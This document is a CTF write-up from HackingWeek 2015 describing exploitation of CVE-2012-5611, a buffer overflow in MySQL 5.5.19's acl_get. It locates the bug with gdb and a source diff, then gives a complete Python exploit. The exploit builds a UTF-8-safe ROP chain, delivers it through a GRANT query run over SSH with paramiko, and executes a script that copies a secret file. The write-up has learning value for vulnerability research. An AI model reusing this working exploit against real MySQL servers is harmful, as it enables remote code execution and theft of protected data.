(HackingWeek 2015) MySQL CVE-2012-5611
Identification
It was not originaly intended for the first (“exploit 4”), but it was possible to
read the flag via LOAD DATA (since the user had the FILE privilege). So they
added the “exploit 6” challenge, without this possibility. Six challenges instead of
four!
First thing to do: get a clean debug environment. Copy all the files somewhere
in /tmp/, and edit the mysqld.cnf file to change the path of the
mysqld socket.
guest@ns314076:/tmp/foo$ gdb ./mysql-5.5.19-linux2.6-i686/bin/mysqld -q
Reading symbols from /tmp/foo/mysql-5.5.19-linux2.6-i686/bin/mysqld...done.
(gdb) r --defaults-file=./mysqld.cnf
Starting program: /tmp/foo/mysql-5.5.19-linux2.6-i686/bin/mysqld --defaults-file=./mysqld.cnf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New Thread 0xb7df1b70 (LWP 31351)]
[Thread 0xb7df1b70 (LWP 31351) exited]
[New Thread 0xb7df1b70 (LWP 31352)]
[New Thread 0xadfb0b70 (LWP 31353)]
[New Thread 0xad7afb70 (LWP 31354)]
[New Thread 0xacfaeb70 (LWP 31355)]
[...]All right! We already know that a PoC exists for this version of MySQL
(cheers kingcope!). I was behind an school firewall; I had no access to the port 3306. So
I used the paramiko python package to connect to the server via SSH and execute
my SQL query from the command line (the code is at the end of this writeup).
Running the PoC gives us:
#0 0xb7f168fb in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#1 0x0814b974 in acl_get (host=0x41414141 <Address 0x41414141 out of bounds>,
ip=0x41414141 <Address 0x41414141 out of bounds>,
user=0x41414141 <Address 0x41414141 out of bounds>,
db=0x41414141 <Address 0x41414141 out of bounds>,
db_is_pattern=1 '\001') at
/export/home/pb2/build/sb_0-4399296-1322061984.01/mysql-5.5.19/sql/sql_acl.cc:1599
[...]And we have Github to diff easily: 5.5.19 and 5.5.29.
We spot this new line:
if (copy_length >= ACL_KEY_LENGTH)Uh. It's now clear that the vulnerability is located here :
end=strmov((tmp_db=strmov(strmov(key, ip ? ip : "")+1,user)+1),db);The buffer of size ACL_KEY_LENGTH (98) is filled with the values key, user
and db. As we saw in the PoC, we control the value of db and no check is made
about the size of the final string before MySQL 5.5.29.
Exploitation
No stack cookies, ASLR is not enabled but NX is. Since the SQL query is parsed by MySQL, any char in our popchain has to be valid UTF-8 and no NULL bytes.
The mysqld binary is pretty large, so we can expect to find some gadgets
with "good" addresses! I used ROPGadget
and sorted the result with a small script, to get only addresses with the correct
format. The two conditions are the following: every byte of the address have to
be lower than 0x80 (U+0000 to U+007F) OR a valid multi-byte sequence.
I tried the easiest way, the first condition:
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
f = open('./gadgets.txt', 'r')
for line in f.readlines():
if line[0:2] == '0x' \
and int(line[2:4], 16) < 0x80 \
and int(line[4:6], 16) < 0x80 \
and int(line[6:8], 16) < 0x80 \
and int(line[8:10], 16) < 0x80:
print line[:-1]Got 14545 gadgets! The only write-what-where is with eax, followed by a pop ebp.
By chance, there is a lot of xchg eax, * gadgets that can be used this to control
our registers. We'll have to increment eax for the int 0x80, since we can't have
NULL bytes in the string.
After some regexes, I selected the following gadgets:
pop_eax = 0x087e4b57
pop_ebx = 0x086d5039
xchg_eax_ecx = 0x086e136a
xchg_eax_edx = 0x084e3062
xchg_esi_eax = 0x087c3223
xchg_p_eax_esi = 0x08405331
int_0x80 = 0x08061234
data_addr = 0x09090909To confirm that I did not missed something about the initial state of the memory, I tried the following ropchain:
[
_x(pop_eax),
_x("/tmp"),
_x(xchg_esi_eax),
_x(pop_eax),
_x(data_addr),
_x(xchg_p_eax_esi),
]And I got the following state:
(gdb) i r
eax 0x9090909 151587081
ecx 0x3 3
edx 0x0 0
ebx 0x41414141 1094795585
esp 0xa9775098 0xa9775098
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x41414141 1094795585
eip 0x88c8f00 0x88c8f00
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/4x 0x09090909
0x9090909: 0x41 0x41 0x41 0x41We only need to prepare the script at /tmp/xxx that will be executed by mysqld to read the flag:
#!/bin/sh
cat /home/exploit06/.secret > /tmp/win
chmod 777 /tmp/win#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys
import struct
import os, socket
import paramiko
pop_eax = 0x087e4b57
pop_ebx = 0x086d5039
xchg_eax_ecx = 0x086e136a
xchg_eax_edx = 0x084e3062
xchg_esi_eax = 0x087c3223
xchg_p_eax_esi = 0x08405331
inc_eax = 0x08061234
syscall = 0x086d0d0e
ret = 0x08240d14
data_addr = 0x09090939
struct_addr = 0x09090941 + 2
def _x(s):
return struct.pack('<I', s)
# Debian 7 target, with MySQL 5.5.19
class target_debian():
def generate(self):
ropchain = [
_x(ret),
_x(ret),
_x(ret),
# Write /tmp
_x(pop_eax),
"/tmp",
_x(xchg_esi_eax),
_x(pop_eax),
_x(data_addr),
_x(xchg_p_eax_esi),
# Write /xxx
_x(pop_eax),
"/xxx",
_x(xchg_esi_eax),
_x(pop_eax),
_x(data_addr + 4),
_x(xchg_p_eax_esi),
# Write the address of the string
_x(pop_eax),
_x(data_addr),
_x(xchg_esi_eax),
_x(pop_eax),
_x(struct_addr),
_x(xchg_p_eax_esi),
# ebx = @ "/tmp/xxx"
_x(pop_ebx),
_x(data_addr),
# ecx = @ {"/tmp/xxx", NULL}
_x(pop_eax),
_x(struct_addr),
_x(xchg_eax_ecx),
# edx = @ NULL
_x(pop_eax),
_x(struct_addr + 6),
_x(xchg_eax_edx),
# int 0x80 with eax = 11
# because of null byte :(
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(syscall)
]
out = ''
out += "A" * (283 + 4)
out += _x(0x09090909)
out += "AAAA"
out += _x(0x09090909)
for i in ropchain:
out += i
return out
payload = target_debian().generate()
grant = "grant ALL on \\`" + payload + "\\`.* to 'guest'@'localhost' identified by 'p0wny';"
print grant
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect([...])
stdin, stdout, stderr = ssh.exec_command('echo "'+ grant +'" | mysql --user="guest" --password="guest" -S /var/run/mysqld/mysqld2.sock' )
print "stdout: " + ''.join(stdout.readlines())
print "stderr:" + ''.join(stderr.readlines())